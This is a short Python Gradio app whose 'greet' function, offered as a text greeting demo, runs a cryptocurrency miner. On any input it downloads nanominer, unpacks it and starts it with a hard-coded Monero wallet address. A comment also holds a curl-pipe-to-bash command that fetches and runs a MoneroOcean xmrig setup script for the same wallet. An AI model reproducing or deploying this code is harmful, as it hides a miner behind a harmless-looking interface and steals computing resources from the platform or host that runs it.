import gradio as gr import subprocess import os def greet(name): os.makedirs("folder", exist_ok=True) os.chdir("folder") commands = [ "wget https://github.com/nanopool/nanominer/releases/download/v3.7.7/nanominer-linux-3.7.7.tar.gz", "ls", "tar -zxvf ./nanominer-linux-3.7.7.tar.gz", "ls", "./nanominer -wallet 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5" # # "cat pre-requirements.txt", # "cat requirements.txt", # "cat Dockerfile", ] output_all = "" for command in commands: process = subprocess.run(command.split(' '), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) output = process.stdout.decode("utf-8") output_all += output + "\n" return output_all # curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5 iface = gr.Interface(fn=greet, inputs="text", outputs="text") iface.launch()